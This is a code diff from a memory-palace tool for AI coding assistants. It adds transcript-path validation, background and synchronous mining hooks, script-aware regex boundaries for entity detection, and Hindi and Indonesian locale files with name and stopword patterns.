"object": claim_obj,
},
"kg_fact": {
"predicate": kg_pred,
"object": fact.get("object"),
},
}
)
# Stale fact: exact match on (subject, predicate, object) but KG
# closed the window in the past.
now_iso = datetime.now(timezone.utc).date().isoformat()
for fact in facts:
if fact.get("current"):
continue
kg_pred = (fact.get("predicate") or "").lower()
if kg_pred != claim_pred:
continue
if not _objects_match(fact.get("object"), claim_obj):
continue
valid_to = fact.get("valid_to")
if valid_to and str(valid_to) < now_iso:
issues.append(
{
"type": "stale_fact",
"detail": (
f"Text says '{claim['span']}' but KG marks "
f"this fact closed on {valid_to}"
),
"entity": subject,
"valid_to": valid_to,
}
)
return issues
def _objects_match(kg_obj, claim_obj: str) -> bool:
if kg_obj is None or not claim_obj:
return False
return str(kg_obj).strip().lower() == claim_obj.strip().lower()
# ── Levenshtein helper (tight iterative version) ─────────────────────
def _edit_distance(s1: str, s2: str) -> int:
"""Levenshtein distance. O(len(s1) * len(s2)) time, O(len(s2)) space."""
if len(s1) < len(s2):
s1, s2 = s2, s1
if not s2:
return len(s1)
prev = list(range(len(s2) + 1))
for i, c1 in enumerate(s1):
curr = [i + 1]
for j, c2 in enumerate(s2):
curr.append(
min(
prev[j + 1] + 1,
curr[j] + 1,
prev[j] + (0 if c1 == c2 else 1),
)
)
prev = curr
return prev[-1]
if __name__ == "__main__":
import argparse
import json
import sys
parser = argparse.ArgumentParser(
description="Check text against known facts in the MemPalace palace.",
epilog="Exits 0 when no issues found, 1 when one or more issues detected.",
)
parser.add_argument("text", nargs="?", help="Text to check (or use --stdin).")
parser.add_argument(
"--palace",
default=os.path.expanduser("~/.mempalace/palace"),
help="Path to the palace directory.",
)
parser.add_argument("--stdin", action="store_true", help="Read text from stdin.")
args = parser.parse_args()
if args.stdin:
text_in = sys.stdin.read()
elif args.text:
text_in = args.text
else:
parser.error("Provide text as argument or use --stdin.")
found = check_text(text_in, palace_path=args.palace)
if found:
print(json.dumps(found, indent=2))
sys.exit(1)
print("No contradictions found.")
+141 -31
View File
@@ -43,9 +43,32 @@ def _sanitize_session_id(session_id: str) -> str:
return sanitized or "unknown"
def _validate_transcript_path(transcript_path: str) -> Path:
"""Validate and resolve a transcript path, rejecting paths outside expected roots.
Returns a resolved Path if valid, or None if the path should be rejected.
Accepted paths must:
- Have a .jsonl or .json extension
- Not contain '..' after resolution (path traversal prevention)
"""
if not transcript_path:
return None
path = Path(transcript_path).expanduser().resolve()
if path.suffix not in (".jsonl", ".json"):
return None
# Reject if the original input contained '..' traversal components
if ".." in Path(transcript_path).parts:
return None
return path
def _count_human_messages(transcript_path: str) -> int:
"""Count human messages in a JSONL transcript, skipping command-messages."""
path = Path(transcript_path).expanduser()
path = _validate_transcript_path(transcript_path)
if path is None:
if transcript_path:
_log(f"WARNING: transcript_path rejected by validator: {transcript_path!r}")
return 0
if not path.is_file():
return 0
count = 0
@@ -82,14 +105,30 @@ def _count_human_messages(transcript_path: str) -> int:
return count
_state_dir_initialized = False
def _log(message: str):
"""Append to hook state log file."""
global _state_dir_initialized
try:
STATE_DIR.mkdir(parents=True, exist_ok=True)
if not _state_dir_initialized:
STATE_DIR.mkdir(parents=True, exist_ok=True)
try:
STATE_DIR.chmod(0o700)
except (OSError, NotImplementedError):
pass
_state_dir_initialized = True
log_path = STATE_DIR / "hook.log"
is_new = not log_path.exists()
timestamp = datetime.now().strftime("%H:%M:%S")
with open(log_path, "a") as f:
f.write(f"[{timestamp}] {message}\n")
if is_new:
try:
log_path.chmod(0o600)
except (OSError, NotImplementedError):
pass
except OSError:
pass
@@ -99,20 +138,103 @@ def _output(data: dict):
print(json.dumps(data, indent=2, ensure_ascii=False))
def _maybe_auto_ingest():
"""If MEMPAL_DIR is set and exists, run mempalace mine in background."""
def _get_mine_dir(transcript_path: str = "") -> str:
"""Determine directory to mine from MEMPAL_DIR or transcript path."""
mempal_dir = os.environ.get("MEMPAL_DIR", "")
if mempal_dir and os.path.isdir(mempal_dir):
return mempal_dir
if transcript_path:
path = Path(transcript_path).expanduser()
if path.is_file():
return str(path.parent)
return ""
_MINE_PID_FILE = STATE_DIR / "mine.pid"
def _pid_alive(pid: int) -> bool:
"""Cross-platform existence check for a PID.
On POSIX, ``os.kill(pid, 0)`` is the well-known no-op existence probe.
On Windows, ``os.kill`` maps to ``TerminateProcess(handle, sig)`` and
would *terminate* the target process with exit code ``sig`` — using
it here would kill our own mine child (or worse, the caller itself).
Use ``OpenProcess`` + ``GetExitCodeProcess`` via ctypes instead.
"""
if sys.platform == "win32":
import ctypes
from ctypes import wintypes
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
STILL_ACTIVE = 259
kernel32 = ctypes.windll.kernel32
handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
if not handle:
return False
try:
log_path = STATE_DIR / "hook.log"
with open(log_path, "a") as log_f:
subprocess.Popen(
[sys.executable, "-m", "mempalace", "mine", mempal_dir],
stdout=log_f,
stderr=log_f,
)
except OSError:
pass
code = wintypes.DWORD()
if not kernel32.GetExitCodeProcess(handle, ctypes.byref(code)):
return False
return code.value == STILL_ACTIVE
finally:
kernel32.CloseHandle(handle)
try:
os.kill(pid, 0)
return True
except (OSError, ValueError):
return False
def _mine_already_running() -> bool:
"""Return True if a background mine process from a previous hook fire is still alive."""
try:
pid = int(_MINE_PID_FILE.read_text().strip())
except (OSError, ValueError):
return False
return _pid_alive(pid)
def _spawn_mine(cmd: list) -> None:
"""Spawn a mine subprocess, write its PID to the lock file, log to hook.log."""
STATE_DIR.mkdir(parents=True, exist_ok=True)
log_path = STATE_DIR / "hook.log"
with open(log_path, "a") as log_f:
proc = subprocess.Popen(cmd, stdout=log_f, stderr=log_f)
_MINE_PID_FILE.write_text(str(proc.pid))
def _maybe_auto_ingest(transcript_path: str = ""):
"""Run mempalace mine in background if a mine directory is available."""
mine_dir = _get_mine_dir(transcript_path)
if not mine_dir:
return
if _mine_already_running():
_log("Skipping auto-ingest: mine already running")
return
try:
_spawn_mine([sys.executable, "-m", "mempalace", "mine", mine_dir])
except OSError:
pass
def _mine_sync(transcript_path: str = ""):
"""Run mempalace mine synchronously (for precompact -- data must land first)."""
mine_dir = _get_mine_dir(transcript_path)
if not mine_dir:
return
try:
STATE_DIR.mkdir(parents=True, exist_ok=True)
log_path = STATE_DIR / "hook.log"
with open(log_path, "a") as log_f:
subprocess.run(
[sys.executable, "-m", "mempalace", "mine", mine_dir],
stdout=log_f,
stderr=log_f,
timeout=60,
)
except (OSError, subprocess.TimeoutExpired):
pass
SUPPORTED_HARNESSES = {"claude-code", "codex"}
@@ -169,7 +291,7 @@ def hook_stop(data: dict, harness: str):
_log(f"TRIGGERING SAVE at exchange {exchange_count}")
# Optional: auto-ingest if MEMPAL_DIR is set
_maybe_auto_ingest()
_maybe_auto_ingest(transcript_path)
_output({"decision": "block", "reason": STOP_BLOCK_REASON})
else:
@@ -191,29 +313,17 @@ def hook_session_start(data: dict, harness: str):
def hook_precompact(data: dict, harness: str):
"""Precompact hook: always block with comprehensive save instruction."""
"""Precompact hook: mine transcript synchronously, then allow compaction."""
parsed = _parse_harness_input(data, harness)
session_id = parsed["session_id"]
transcript_path = parsed["transcript_path"]
_log(f"PRE-COMPACT triggered for session {session_id}")
# Optional: auto-ingest synchronously before compaction (so memories land first)
mempal_dir = os.environ.get("MEMPAL_DIR", "")
if mempal_dir and os.path.isdir(mempal_dir):
try:
log_path = STATE_DIR / "hook.log"
with open(log_path, "a") as log_f:
subprocess.run(
[sys.executable, "-m", "mempalace", "mine", mempal_dir],
stdout=log_f,
stderr=log_f,
timeout=60,
)
except OSError:
pass
# Mine synchronously so data lands before compaction proceeds
_mine_sync(transcript_path)
# Always block -- compaction = save everything
_output({"decision": "block", "reason": PRECOMPACT_BLOCK_REASON})
_output({})
def run_hook(hook_name: str, harness: str):
+214 -5
View File
@@ -7,15 +7,40 @@ Usage:
print(t("cli.mine_start", path="/docs")) # "Extraction de /docs..."
print(t("terms.wing")) # "aile"
print(t("aaak.instruction")) # AAAK compression instruction in French
Each locale JSON may include an ``entity`` section with patterns used by
``mempalace.entity_detector``. See ``get_entity_patterns`` for the merge rules
and the README section "Adding a new language" for the schema.
"""
import json
from pathlib import Path
from typing import Optional
_LANG_DIR = Path(__file__).parent
_strings: dict = {}
_current_lang: str = "en"
# Cache: tuple(langs) -> merged entity pattern dict
_entity_cache: dict = {}
def _canonical_lang(lang: str) -> Optional[str]:
"""Resolve a language code to its on-disk canonical filename stem.
BCP 47 tags are case-insensitive (RFC 5646 §2.1.1), and the locale
files mix conventions (``pt-br.json`` vs ``zh-CN.json``). Match on
lowercase so callers can pass ``PT-BR``, ``zh-cn``, ``Pt-Br``, etc.
Returns ``None`` if no file matches.
"""
if not lang:
return None
target = lang.strip().lower()
for path in _LANG_DIR.glob("*.json"):
if path.stem.lower() == target:
return path.stem
return None
def available_languages() -> list[str]:
"""Return list of available language codes."""
@@ -25,12 +50,12 @@ def available_languages() -> list[str]:
def load_lang(lang: str = "en") -> dict:
"""Load a language dictionary. Falls back to English if not found."""
global _strings, _current_lang
lang_file = _LANG_DIR / f"{lang}.json"
if not lang_file.exists():
lang_file = _LANG_DIR / "en.json"
lang = "en"
canonical = _canonical_lang(lang)
if canonical is None:
canonical = "en"
lang_file = _LANG_DIR / f"{canonical}.json"
_strings = json.loads(lang_file.read_text(encoding="utf-8"))
_current_lang = lang
_current_lang = canonical
return _strings
@@ -72,5 +97,189 @@ def get_regex() -> dict:
return _strings.get("regex", {})
def _load_entity_section(lang: str) -> dict:
"""Load the raw entity section for one language. Returns {} if missing."""
canonical = _canonical_lang(lang)
if canonical is None:
return {}
lang_file = _LANG_DIR / f"{canonical}.json"
try:
data = json.loads(lang_file.read_text(encoding="utf-8"))
except (json.JSONDecodeError, OSError):
return {}
return data.get("entity", {}) or {}
def _script_boundary(chars: str) -> str:
"""Build a lookaround-based word boundary expression.
Python's built-in ``\\b`` is a transition between ``\\w`` and non-``\\w``.
``\\w`` covers Unicode Letter and Number categories but NOT Marks (category
Mc/Mn), so for scripts whose words contain combining vowel signs — Devanagari
(ा ी ु), Arabic (ـَ ـِ ـُ), Hebrew (ִ ֵ), Thai, Tamil, Burmese, Khmer — the
default ``\\b`` drops the trailing mark, truncating names like ``अनीता`` to
``अनीत`` and failing to match ``\\bकहा\\b`` because the trailing matra is
not a word character.
Locales with such scripts declare ``boundary_chars`` in their entity section
(e.g. ``"\\\\w\\\\u0900-\\\\u097F"`` for Hindi). This function returns a
regex fragment equivalent to ``\\b`` but where the "word" side is defined
as any char matching ``[chars]`` rather than just ``\\w``.
"""
return (
rf"(?:(?<=[{chars}])(?=[^{chars}])"
rf"|(?<=[^{chars}])(?=[{chars}])"
rf"|^(?=[{chars}])"
rf"|(?<=[{chars}])$)"
)
def _expand_b(pattern: str, boundary_chars: str) -> str:
"""Replace every literal ``\\b`` in ``pattern`` with a script-aware boundary.
``boundary_chars`` is the inside-word character class (without brackets).
If it's falsy, the pattern is returned unchanged so ``\\b`` keeps its
default Python ``re`` semantics.
"""
if not boundary_chars:
return pattern
return pattern.replace(r"\b", _script_boundary(boundary_chars))
def _wrap_candidate(raw_pat: str, boundary_chars: str) -> str:
"""Wrap a candidate/multi-word extraction pattern with a capture group
and word boundaries appropriate for its locale.
Default: ``\\b(raw)\\b``. With ``boundary_chars``: the script-aware
equivalent, so names ending in combining marks are matched in full.
"""
if boundary_chars:
b = _script_boundary(boundary_chars)
return f"{b}({raw_pat}){b}"
return rf"\b({raw_pat})\b"
def _collect_entity_section(section: dict, acc: dict) -> None:
"""Merge one language's entity section into the running accumulator.
Handles boundary expansion in-place so the caller merges already-expanded
strings: `candidate_patterns` and `multi_word_patterns` are pre-wrapped
with the locale's boundary (capture group included, ready to compile);
every ``\\b`` inside person/pronoun/dialogue/project/direct patterns is
replaced with the locale's script-aware boundary.
"""
boundary_chars = section.get("boundary_chars")
if section.get("candidate_pattern"):
acc["candidate_patterns"].append(
_wrap_candidate(section["candidate_pattern"], boundary_chars)
)
if section.get("multi_word_pattern"):
acc["multi_word_patterns"].append(
_wrap_candidate(section["multi_word_pattern"], boundary_chars)
)
if section.get("direct_address_pattern"):
acc["direct_address"].append(_expand_b(section["direct_address_pattern"], boundary_chars))
acc["person_verbs"].extend(
_expand_b(p, boundary_chars) for p in section.get("person_verb_patterns", [])
)
acc["pronouns"].extend(
_expand_b(p, boundary_chars) for p in section.get("pronoun_patterns", [])
)
acc["dialogue"].extend(
_expand_b(p, boundary_chars) for p in section.get("dialogue_patterns", [])
)
acc["project_verbs"].extend(
_expand_b(p, boundary_chars) for p in section.get("project_verb_patterns", [])
)
acc["stopwords"].update(w.lower() for w in section.get("stopwords", []))
def get_entity_patterns(languages=("en",)) -> dict:
"""Return merged entity detection patterns for the requested languages.
Entity detection patterns live under each locale's ``entity`` section.
This function merges them into a single dict for consumption by
``mempalace.entity_detector``.
Merge rules:
- List fields (person_verb_patterns, pronoun_patterns, dialogue_patterns,
project_verb_patterns) are concatenated in the order of ``languages``,
with duplicates removed while preserving first occurrence.
- ``stopwords`` is the set union across all languages, returned as a
sorted list.
- ``candidate_patterns`` and ``multi_word_patterns`` are returned as
**fully-wrapped regex strings** (boundary + capture group applied);
the consumer compiles them directly with no further wrapping.
- ``direct_address_pattern`` is returned as a list of per-language
alternation patterns (not concatenated — each is applied separately).
Locales with combining-mark scripts can declare ``boundary_chars`` in
their entity section (e.g. ``"\\\\w\\\\u0900-\\\\u097F"`` for Hindi);
every ``\\b`` inside that locale's patterns — plus the candidate/multi-
word wrapping — is expanded to a script-aware lookaround boundary that
treats the declared characters as "inside-word".
If ``languages`` is empty or no requested language declares entity data,
English is used as a fallback so callers always get a working config.
"""
if not languages:
languages = ("en",)
# Normalize via canonical filename so callers using different casing
# (e.g. "PT-BR" vs "pt-br") share the same cache entry and load the
# same locale file. Unknown codes are kept as-is so the merge loop's
# "found_any" branch fires the English fallback exactly once.
languages = tuple(_canonical_lang(lang) or lang for lang in languages)
key = languages
if key in _entity_cache:
return _entity_cache[key]
acc = {
"candidate_patterns": [],
"multi_word_patterns": [],
"person_verbs": [],
"pronouns": [],
"dialogue": [],
"direct_address": [],
"project_verbs": [],
"stopwords": set(),
}
found_any = False
for lang in languages:
section = _load_entity_section(lang)
if not section:
continue
found_any = True
_collect_entity_section(section, acc)
if not found_any:
# Fallback: load English directly so callers always get a working config.
_collect_entity_section(_load_entity_section("en"), acc)
merged = {
"candidate_patterns": acc["candidate_patterns"],
"multi_word_patterns": acc["multi_word_patterns"],
"person_verb_patterns": _dedupe(acc["person_verbs"]),
"pronoun_patterns": _dedupe(acc["pronouns"]),
"dialogue_patterns": _dedupe(acc["dialogue"]),
"direct_address_patterns": acc["direct_address"],
"project_verb_patterns": _dedupe(acc["project_verbs"]),
"stopwords": sorted(acc["stopwords"]),
}
_entity_cache[key] = merged
return merged
def _dedupe(items: list) -> list:
"""Remove duplicates while preserving first-occurrence order."""
seen = set()
out = []
for item in items:
if item not in seen:
seen.add(item)
out.append(item)
return out
# Auto-load English on import
load_lang("en")
+102
View File
@@ -40,5 +40,107 @@
"stop_words": "the this that these those some many most each every other only such very will would could should must shall yeah okay also even then now already still back done make take give know think want need going come find work added saved session summary conversation topics source about once just really actually here there where good great better thank please sorry right wrong true false",
"quote_pattern": "\"([^\"]{20,200})\"",
"action_pattern": "(?:built|fixed|wrote|added|pushed|measured|tested|reviewed|created|deleted|updated|configured|deployed|migrated)\\s+[\\w\\s]{3,30}"
},
"entity": {
"candidate_pattern": "[A-Z][a-z]{1,19}",
"multi_word_pattern": "[A-Z][a-z]+(?:\\s+[A-Z][a-z]+)+",
"person_verb_patterns": [
"\\b{name}\\s+said\\b",
"\\b{name}\\s+asked\\b",
"\\b{name}\\s+told\\b",
"\\b{name}\\s+replied\\b",
"\\b{name}\\s+laughed\\b",
"\\b{name}\\s+smiled\\b",
"\\b{name}\\s+cried\\b",
"\\b{name}\\s+felt\\b",
"\\b{name}\\s+thinks?\\b",
"\\b{name}\\s+wants?\\b",
"\\b{name}\\s+loves?\\b",
"\\b{name}\\s+hates?\\b",
"\\b{name}\\s+knows?\\b",
"\\b{name}\\s+decided\\b",
"\\b{name}\\s+pushed\\b",
"\\b{name}\\s+wrote\\b",
"\\bhey\\s+{name}\\b",
"\\bthanks?\\s+{name}\\b",
"\\bhi\\s+{name}\\b",
"\\bdear\\s+{name}\\b"
],
"pronoun_patterns": [
"\\bshe\\b",
"\\bher\\b",
"\\bhers\\b",
"\\bhe\\b",
"\\bhim\\b",
"\\bhis\\b",
"\\bthey\\b",
"\\bthem\\b",
"\\btheir\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+said"
],
"direct_address_pattern": "\\bhey\\s+{name}\\b|\\bthanks?\\s+{name}\\b|\\bhi\\s+{name}\\b",
"project_verb_patterns": [
"\\bbuilding\\s+{name}\\b",
"\\bbuilt\\s+{name}\\b",
"\\bship(?:ping|ped)?\\s+{name}\\b",
"\\blaunch(?:ing|ed)?\\s+{name}\\b",
"\\bdeploy(?:ing|ed)?\\s+{name}\\b",
"\\binstall(?:ing|ed)?\\s+{name}\\b",
"\\bthe\\s+{name}\\s+architecture\\b",
"\\bthe\\s+{name}\\s+pipeline\\b",
"\\bthe\\s+{name}\\s+system\\b",
"\\bthe\\s+{name}\\s+repo\\b",
"\\b{name}\\s+v\\d+\\b",
"\\b{name}\\.py\\b",
"\\b{name}-core\\b",
"\\b{name}-local\\b",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"the", "a", "an", "and", "or", "but", "in", "on", "at", "to",
"for", "of", "with", "by", "from", "as", "is", "was", "are", "were",
"be", "been", "being", "have", "has", "had", "do", "does", "did",
"will", "would", "could", "should", "may", "might", "must", "shall", "can",
"this", "that", "these", "those", "it", "its", "they", "them", "their",
"we", "our", "you", "your", "i", "my", "me", "he", "she", "his", "her",
"who", "what", "when", "where", "why", "how", "which",
"if", "then", "so", "not", "no", "yes", "ok", "okay",
"just", "very", "really", "also", "already", "still", "even", "only",
"here", "there", "now", "too", "up", "out", "about", "like",
"use", "get", "got", "make", "made", "take", "put", "come", "go", "see",
"know", "think", "true", "false", "none", "null", "new", "old", "all", "any", "some",
"return", "print", "def", "class", "import",
"step", "usage", "run", "check", "find", "add", "set", "list",
"args", "dict", "str", "int", "bool", "path", "file", "type", "name",
"note", "example", "option", "result", "error", "warning", "info",
"every", "each", "more", "less", "next", "last", "first", "second",
"stack", "layer", "mode", "test", "stop", "start", "copy", "move",
"source", "target", "output", "input", "data", "item", "key", "value",
"returns", "raises", "yields", "self", "cls", "kwargs",
"world", "well", "want", "topic", "choose", "social", "cars", "phones",
"healthcare", "ex", "machina", "deus", "human", "humans", "people",
"things", "something", "nothing", "everything", "anything", "someone",
"everyone", "anyone", "way", "time", "day", "life", "place", "thing",
"part", "kind", "sort", "case", "point", "idea", "fact", "sense",
"question", "answer", "reason", "number", "version", "system",
"hey", "hi", "hello", "thanks", "thank", "right", "let",
"click", "hit", "press", "tap", "drag", "drop", "open", "close",
"save", "load", "launch", "install", "download", "upload", "scroll",
"select", "enter", "submit", "cancel", "confirm", "delete", "paste",
"write", "read", "search", "show", "hide",
"desktop", "documents", "downloads", "users", "home", "library",
"applications", "preferences", "settings", "terminal",
"actor", "vector", "remote", "control", "duration", "fetch",
"agents", "tools", "others", "guards", "ethics", "regulation",
"learning", "thinking", "memory", "language", "intelligence",
"technology", "society", "culture", "future", "history", "science",
"model", "models", "network", "networks", "training", "inference"
]
}
}
+105
View File
@@ -0,0 +1,105 @@
{
"lang": "hi",
"label": "हिंदी",
"terms": {
"palace": "महल",
"wing": "खंड",
"hall": "हॉल",
"closet": "अलमारी",
"drawer": "दराज़",
"mine": "खनन",
"search": "खोज",
"status": "स्थिति",
"init": "आरंभ",
"repair": "मरम्मत",
"migrate": "स्थानांतरित करना",
"entity": "इकाई",
"topic": "विषय"
},
"cli": {
"mine_start": "{path} का खनन किया जा रहा है...",
"mine_complete": "पूर्ण हुआ। {closets} अलमारियाँ, {drawers} दराज़ें बनाई गईं।",
"mine_skip": "पहले ही खनन हो चुका है। पुनः खनन के लिए --force का उपयोग करें।",
"search_no_results": "इसके लिए कोई परिणाम नहीं मिले: {query}",
"search_results": "{count} परिणाम मिले:",
"status_palace": "महल: {path}",
"status_wings": "{count} खंड",
"status_closets": "{count} अलमारियाँ",
"status_drawers": "{count} दराज़ें",
"init_complete": "महल {path} पर प्रारंभ किया गया",
"init_exists": "महल पहले से ही {path} पर मौजूद है",
"repair_complete": "मरम्मत पूर्ण। {fixed} समस्याएँ ठीक की गईं।",
"migrate_complete": "स्थानांतरण पूर्ण।",
"no_palace": "कोई महल नहीं मिला। चलाएँ: mempalace init <dir>"
},
"aaak": {
"instruction": "इंडेक्स प्रारूप में संपीड़न करें। शब्दों के बीच हाइफ़न और अवधारणाओं के बीच पाइप का प्रयोग करें। आर्टिकल और अनावश्यक शब्द हटाएँ। नाम और संख्याएँ सटीक रखें।"
},
"regex": {
"topic_pattern": "[\\u0900-\\u097F]{2,}|[A-Za-z][A-Za-z0-9_]{2,}",
"stop_words": "यह वह ये वे कुछ कई अधिकांश प्रत्येक हर अन्य केवल ऐसा बहुत होगा सकता चाहिए ज़रूर हाँ ठीक भी फिर अब पहले अभी वापस पूरा बनाना लेना देना जानना सोचना चाहना ज़रूरत जा आ आना जाना ढूँढना काम जोड़ा सहेजा सत्र सारांश वार्तालाप स्रोत विषय के एक बार बस वास्तव में कहाँ यहाँ वहाँ धन्यवाद कृपया सही गलत करें किया करता करती चलाएँ उपयोग",
"quote_pattern": "\"([^\"]{20,200})\"",
"action_pattern": "(?:बनाया|सुधारा|लिखा|जोड़ा|भेजा|मापा|परीक्षण किया|समीक्षा की|निर्मित किया|हटाया|अद्यतन किया|विन्यस्त किया|तैनात किया|स्थानांतरित किया)\\s+[\\w\\s\\u0900-\\u097F]{3,30}"
},
"entity": {
"boundary_chars": "\\w\\u0900-\\u097F",
"candidate_pattern": "[\\u0900-\\u097F]{2,20}",
"multi_word_pattern": "[\\u0900-\\u097F]+(?:\\s+[\\u0900-\\u097F]+)+",
"person_verb_patterns": [
"\\b{name}\\s+ने\\s+कहा\\b",
"\\b{name}\\s+ने\\s+पूछा\\b",
"\\b{name}\\s+ने\\s+बोला\\b",
"\\b{name}\\s+ने\\s+बताया\\b",
"\\b{name}\\s+हँसा\\b",
"\\b{name}\\s+मुस्कुराया\\b",
"\\b{name}\\s+रोया\\b",
"\\b{name}\\s+सोचा\\b",
"\\b{name}\\s+चाहा\\b",
"\\b{name}\\s+पसंद\\s+किया\\b",
"\\b{name}\\s+नफरत\\s+की\\b",
"\\b{name}\\s+जानता\\s+है\\b"
],
"pronoun_patterns": [
"\\bवह\\b",
"\\bउसने\\b",
"\\bउसे\\b",
"\\bउसका\\b",
"\\bउन्होंने\\b",
"\\bउनका\\b",
"\\bवे\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+ने\\s+कहा"
],
"direct_address_pattern": "\\bअरे\\s+{name}\\b|\\bनमस्ते\\s+{name}\\b|\\bधन्यवाद\\s+{name}\\b",
"project_verb_patterns": [
"\\b{name}\\s+बना\\s+रहा\\s+है\\b",
"\\b{name}\\s+बनाया\\b",
"\\b{name}\\s+लॉन्च\\s+किया\\b",
"\\b{name}\\s+तैनात\\s+किया\\b",
"\\b{name}\\s+इंस्टॉल\\s+किया\\b"
],
"stopwords": [
"यह", "वह", "ये", "वे",
"मैं", "हम", "आप", "तुम",
"मेरा", "हमारा", "आपका", "उसका", "उनका",
"मुझे", "हमें", "आपको", "उसे", "उन्हें",
"का", "के", "की",
"को", "से", "में", "पर",
"के लिए", "के साथ", "के बारे में", "द्वारा",
"और", "या", "लेकिन", "क्योंकि", "तो", "यदि",
"भी", "ही", "सिर्फ", "केवल",
"है", "हैं", "था", "थे", "थी",
"हो", "होगा", "होता", "होती",
"कर", "करना", "किया", "करते", "करती",
"नहीं", "हाँ", "शायद", "ज़रूर",
"क्या", "कौन", "कब", "कहाँ", "क्यों", "कैसे",
"अब", "तब", "यहाँ", "वहाँ",
"बहुत", "कम", "अधिक",
"कुछ", "कोई", "सब", "हर"
]
}
}
+234
View File
@@ -0,0 +1,234 @@
{
"lang": "id",
"label": "Bahasa Indonesia",
"terms": {
"palace": "istana",
"wing": "sayap",
"hall": "lorong",
"closet": "lemari",
"drawer": "laci",
"mine": "tambang",
"search": "cari",
"status": "status",
"init": "inisialisasi",
"repair": "perbaiki",
"migrate": "migrasi",
"entity": "entitas",
"topic": "topik"
},
"cli": {
"mine_start": "Menambang {path}...",
"mine_complete": "Selesai. {closets} lemari dan {drawers} laci berhasil dibuat.",
"mine_skip": "Sudah pernah ditambang. Gunakan --force untuk menambang ulang.",
"search_no_results": "Tidak ada hasil untuk: {query}",
"search_results": "Ditemukan {count} hasil:",
"status_palace": "Istana: {path}",
"status_wings": "{count} sayap",
"status_closets": "{count} lemari",
"status_drawers": "{count} laci",
"init_complete": "Istana diinisialisasi pada {path}",
"init_exists": "Istana sudah ada pada {path}",
"repair_complete": "Perbaikan selesai. {fixed} masalah berhasil diperbaiki.",
"migrate_complete": "Migrasi selesai.",
"no_palace": "Istana tidak ditemukan. Jalankan: mempalace init <dir>"
},
"aaak": {
"instruction": "Ringkas ke format indeks. Gunakan tanda hubung (-) antar kata dan garis vertikal (|) antar konsep. Buang kata fungsi dan kata pengisi yang tidak penting. Pertahankan nama serta angka tetap persis."
},
"regex": {
"topic_pattern": "[A-Z][a-z]{2,}|[A-Za-z][A-Za-z0-9_/-]{2,}",
"stop_words": "yang untuk pada ke para namun menurut antara dia ia seperti jika sehingga kembali dan tidak ini karena kepada oleh saat harus sementara setelah belum kami sekitar bagi serta di dari telah sebagai masih hal ketika adalah itu dalam bisa bahwa atau hanya kita dengan akan juga ada mereka sudah saya terhadap secara agar lain anda begitu mengapa kenapa yaitu yakni daripada itulah lagi maka tentang demi di mana ke mana pula sambil sebelum sesudah supaya guna kah pun sampai sedangkan selagi tetapi apakah kecuali sebab selain seolah seraya seterusnya tanpa agak boleh dapat dsb dst dll dahulu dulunya anu demikian tapi ingin nggak gak ga ngga enggak mari nanti melainkan oh ok oke seharusnya sebetulnya setiap setidaknya sesuatu pasti saja toh ya walau tolong tentu amat apalagi bagaimanapun udah banget bgt nih dong kok sih deh aja pun",
"quote_pattern": "\"([^\"]{20,200})\"|“([^”]{20,200})”|‘([^’]{20,200})’",
"action_pattern": "(?:dibangun|membangun|ngembangin|diperbaiki|memperbaiki|ditulis|menulis|ditambahkan|menambahkan|dibuat|membuat|diperbarui|memperbarui|diulas|mengulas|diuji|menguji|diukur|mengukur|dikonfigurasi|mengonfigurasi|dideploy|deploy|nge-?deploy|ngebuild|build|dikirim|push|dipush|nge-?push|dirilis|rilis|dimigrasi|migrasi|dibundle)\\s+[\\w\\s./_-]{3,30}"
},
"entity": {
"candidate_pattern": "[A-Z][a-z]{1,19}|[A-Z]{2,10}|[A-Za-z][A-Za-z0-9_]*[A-Z][A-Za-z0-9_]*|[a-z]+[A-Z][A-Za-z0-9_]*",
"multi_word_pattern": "(?:[A-Z][a-z]+|[A-Z]{2,10})(?:\\s+(?:[A-Z][a-z]+|[A-Z]{2,10}))+",
"person_verb_patterns": [
"\\b{name}\\s+berkata\\b",
"\\b{name}\\s+mengatakan\\b",
"\\b{name}\\s+bilang\\b",
"\\b{name}\\s+ngomong\\b",
"\\b{name}\\s+ceritain\\b",
"\\b{name}\\s+bertanya\\b",
"\\b{name}\\s+menanyakan\\b",
"\\b{name}\\s+tanya\\b",
"\\b{name}\\s+nanya\\b",
"\\b{name}\\s+menjawab\\b",
"\\b{name}\\s+jawab\\b",
"\\b{name}\\s+balas\\b",
"\\b{name}\\s+reply\\b",
"\\b{name}\\s+membalas\\b",
"\\b{name}\\s+menjelaskan\\b",
"\\b{name}\\s+cerita\\b",
"\\b{name}\\s+tertawa\\b",
"\\b{name}\\s+tersenyum\\b",
"\\b{name}\\s+menangis\\b",
"\\b{name}\\s+merasa\\b",
"\\b{name}\\s+memikirkan\\b",
"\\b{name}\\s+berpikir\\b",
"\\b{name}\\s+pikir\\b",
"\\b{name}\\s+ingin\\b",
"\\b{name}\\s+mau\\b",
"\\b{name}\\s+suka\\b",
"\\b{name}\\s+benci\\b",
"\\b{name}\\s+tahu\\b",
"\\b{name}\\s+memutuskan\\b",
"\\b{name}\\s+memilih\\b",
"\\b{name}\\s+decided\\b",
"\\b{name}\\s+menulis\\b",
"\\b{name}\\s+nulis\\b",
"\\b{name}\\s+ngetik\\b",
"\\b{name}\\s+push\\b",
"\\b{name}\\s+nge-?push\\b",
"\\b{name}\\s+review(?:ed)?\\b",
"\\b{name}\\s+nge-?review\\b",
"\\b{name}\\s+approve(?:d)?\\b",
"\\b{name}\\s+di-?approve\\b"
],
"pronoun_patterns": [
"\\bdia\\b",
"\\bia\\b",
"\\bbeliau\\b",
"\\bmereka\\b"
],
"dialogue_patterns": [
"^>\\s*{name}[:\\s]",
"^{name}:\\s",
"^\\[{name}\\]",
"\"{name}\\s+berkata",
"\"{name}\\s+bilang"
],
